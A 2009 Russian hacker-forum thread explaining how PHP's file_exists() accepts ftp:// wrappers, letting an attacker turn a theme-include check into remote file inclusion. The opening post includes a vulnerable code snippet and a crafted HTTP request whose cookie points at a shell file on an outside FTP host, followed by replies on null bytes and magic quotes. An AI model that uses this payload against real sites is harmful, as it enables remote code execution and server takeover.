Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Небольшой очерк - file_exists |

05.01.2009, 16:13
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Небольшой очерк - file_exists
На статью вряд ли потянет, ничего принципиально нового я не расскажу, но мб кому то пойдёт на пользу. Те кто занимаются сурсо копанием знают что эта функция очень часто портила всем RFI. Теперь портить не будет:) Итак, начнём.
http://us3.php.net/manual/en/function.file-exists.php
Tip
As of PHP 5.0.0, this function can also be used with some URL wrappers.
http://us.php.net/manual/en/wrappers.ftp.php
As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. As of PHP 5.1.0: filemtime().
Для тех кто не понял, начиная с пхп 5 ф-я может работать с упаковщиками урл. Не только с ftp:// но так же и с php://memory, php://temp, ssh2.sftp://. Потом я просто подумал, зачем заморачиваться с последними тремя, если есть простой фтп. Теперь непного наглядности, каким же всё таки раком это нам поможет.
==>
PHP код:
<?php
echo file_exists("ftp://user:pwd@host/shell.txt");
?>
==>
Для примера такой сурс:
PHP код:
<?php
...
// theme definition by configuration or by cookie
$usertheme = getparam("usertheme", PAR_COOKIE, SAN_FLAT);
if ($usertheme!="" AND !stristr("..",$usertheme) AND file_exists("$usertheme/theme.php")) {
$theme = $usertheme;
} else {
$theme = "def";
}
include "$theme/theme.php";
...
?>
Тут бы и LFI не вышел, из за stristr, но теперь можно получить полноценный RFI.
==>
Код:
POST /script.php HTTP/1.0
Host: host
Cookie: usertheme=ftp://login:pwd@host/shell.txt%00
Connection: close
magic_quotes_gpc = Off
==>
Готовый шелл
-EOF-
Последний раз редактировалось .Slip; 24.04.2009 в 21:24..
|
|
|

05.01.2009, 16:35
|
|
Постоянный
Регистрация: 23.11.2007
Сообщений: 342
Провел на форуме: 1215706
Репутация:
310
|
|
Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.
А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.
P.S Также начиная с PHP 5.0 функция stat тоже поддерживает информацию о файлах на удаленных хостах.
|
|
|

05.01.2009, 16:40
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
>> А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.
Ага, и !stristr("..",$usertheme) тоже от ошибок в инклудах.
>> Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.
...ничего принципиально нового я не расскажу...
Смысл переписывать мои слова?
|
|
|

06.01.2009, 19:32
|
|
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме: 7561206
Репутация:
1861
|
|
а мне понравилось, возьму на вооружение.
|
|
|

16.02.2009, 21:54
|
|
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
Провел на форуме: 1483379
Репутация:
386
|
|
Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.
|
|
|

19.02.2009, 21:30
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Сообщение от brain[pillow]
Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.
Это вырезка кода из движка, там отдельно обрабатывались массивы gpc. Квотесы бы порезали нуллбайт.
|
|
|

09.04.2009, 21:56
|
|
Участник форума
Регистрация: 12.03.2009
Сообщений: 244
Провел на форуме: 1849443
Репутация:
278
|
|
Спасибо для меня было познавательно!
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|